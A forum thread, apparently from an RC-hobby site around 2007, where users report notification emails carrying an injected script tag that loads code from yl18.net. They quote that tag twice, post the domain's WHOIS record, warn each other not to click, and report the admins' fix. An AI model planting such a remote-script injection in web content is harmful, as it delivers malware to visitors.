I've been getting some weird links to threads I've subscribed to on RCU and when you select the link it wants to download a file which I have not done. Anyone else getting this or is it on my end? Part of the link is this domain y118.net

Marty

nope, not me

(unless ur talking about adobe flesh player upgrade, normal)

Yep me too. I came in via an old notice just to see if it was my machine. Somthing is up.[X(]

Marty, this doesn't have to be RCU being hacked (which I doubt), but rather some spyware on your PC that creates these links and asks you
to download this file. Do NOT download it, get some spyware/virus software and check your PC. These things slip into the machine very
easily, and are quite difficult to get rid of.

I had this on my old PC, and everytime I wanted to open some of my most popular websites, I just got lots of stupid offers and porn...[:@]

Tor

Tor,
You could be right and that's why I asked if anyone else was seeing this from RCU emails before I went off searching my machine. I will start a spyware search. Unfortunately, I have the worst antivirus/spyware software ever created and I'm just waiting till it expires to buy something better. Can you say "OneCare"?

Marty

go to download.com



type is "Spyware Terminator"


download it, it's free

I DID get a link exactly as you described; did not click through.

This is a pretty clean machine; wrote it off as an RCU glitch...

Same here; started this morning on my RCU notices. Nothing on any other lists I subscribe too. I have all the bells and whistles using firewall and other internet security systems. It's not on my computer, either.

RH

I am getting the same thing. Instead of a normal notice I am getting this:

Subscription: RE: Reaction 54 Jet Kit - by #<script src="http://yl18.net/0.js"></script>

That looks more like a programming error/faulty link than a virus or spyware.

I just figured it is an RCU glitch...

Maybe but if you click on the link which I don't suggest anyone does, it wants to download a program to your machine.

Marty

I am getting the same type thing (see below). I scan for spyware and viruses several times a day with the latest updated software. I think it is coming from R/C U like this. They got something buggered up!!!


Subscription: RE: The Turbine Model Community REEKS with Scam Artists - A Rant - Sorry - by #<script src="http://yl18.net/0.js"></script>

Domain Name:yl18.net


Registrant:
wang xiao er
guangzhou
100000
¹ãÖ�


Administrative Contact:
wang xiao er
wang xiao er
guangzhou
guangzhou Guangdong 100000
CN
tel: 86 021 34562565
fax: 86 021 34562565
[email protected]

Technical Contact:
wang xiao er
wang xiao er
guangzhou
guangzhou Guangdong 100000
CN
tel: 34562565
fax: 34562565
[email protected]

Billing Contact:
wang xiao er
wang xiao er
guangzhou
guangzhou Guangdong 100000
CN
tel: 34562565
fax: 34562565
[email protected]

Registration Date: 2006-12-02
Update Date: 2006-12-02
Expiration Date: 2007-12-02

this is a hacking domain


I found a folder on the domain called /hack/

inside is tons of java hacks

do a search on the domain you will see

do not open anything listed from this domain

I'm getting the same messages.

Bob

Guys,

I reported this earlier today. The last info I saw which was about 1/2 hr ago was the developers are working on it. That's all we have at this point

Thanks.

Per the RCAdmin, it is fixed.

I just got my first normal notification/link and it worked like normal.

Thanks